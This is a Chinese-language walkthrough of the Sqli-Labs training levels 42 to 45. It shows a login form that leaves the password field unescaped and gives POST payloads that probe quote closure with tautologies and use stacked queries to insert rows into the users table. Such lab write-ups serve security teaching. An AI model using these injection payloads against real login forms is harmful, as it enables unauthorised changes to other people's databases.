Sqli-Labs:Less 42 - Less 45*

Less 42

基于存储_POST_单引号_字符型_堆叠注入

0x01. 源码分析

Sqli-Labs:Less 42 - Less 45*_第1张图片

看着和 Less 24 一样,是一个相对完整的网站,实际上不只少了点什么…

Sqli-Labs:Less 42 - Less 45*_第2张图片
acc-create.jpg

没有忘记密码和注册功能…一样的硬核。

登录界面源码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

修改密码源码:

$username = $_SESSION["username"];
$curr_pass = mysql_real_escape_string($_POST['current_password']);
$pass = mysql_real_escape_string($_POST['password']);
$re_pass = mysql_real_escape_string($_POST['re_password']);

因为没有注册功能,所以登录成功后的修改密码便没有什么作用,不能像 Less 24 一样构造用户名进行平行越权。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

二次注入即update的数据(这关经过mysql_real_escape_string()处理),存入到数据库当中,在下一次select调用的时候发挥作用。详细可参考 Less 24。

0x02. 注入过程

这里网上的大部分包括《注入天书》只写了如何创建与删除一个表,感觉并没有用。
这里仍像 Less 38 - Less 41 一样,创建新的用户信息(即插入数据 / 注册)。
因有 MySQL 报错信息,可以看出是单引号闭合。

login_user=admin&login_password=1';insert+into+users+values(42,'Less42','Less42')--+

Sqli-Labs:Less 42 - Less 45*_第3张图片

接下来就可以利用盲注脚本跑整个数据库的信息了(注意过滤)。

Less 43

基于存储_POST_单引号_小括号_字符型_堆叠注入

与 Less 42 相似,有 MySQL 报错信息。

login_user=admin&login_password=1');insert+into+users+values(43,'Less43','Less43')--+

Sqli-Labs:Less 42 - Less 45*_第4张图片

Less 44

基于存储_POST_单引号_字符型_盲注_堆叠注入

除了没有 MySQL 报错信息,其他的没有变化。
当 POST 没有报错回显时,判断查询语句就需要构造永真条件同化登录失败与查询出错,通过返回的图片不同来确定是否符合查询语句闭合的条件,参考 Less 15。

login_user=admin&login_password=1 or 1=1--+
login_user=admin&login_password=1' or 1=1--+
login_user=admin&login_password=1" or 1=1--+
login_user=admin&login_password=1') or 1=1--+
login_user=admin&login_password=1") or 1=1--+

得出为单引号闭合:

login_user=admin&login_password=1';insert into users values(44,'Less44','Less44')--+

Sqli-Labs:Less 42 - Less 45*_第5张图片

Less 45

基于存储_POST_单引号_小括号_字符型_盲注_堆叠注入

同 Less 45,闭合增加了小括号。

login_user=admin&login_password=1');insert into users values(45,'Less45','Less45')--+

Sqli-Labs:Less 42 - Less 45*_第6张图片

你可能感兴趣的:(Sqli-Labs:Less 42 - Less 45*)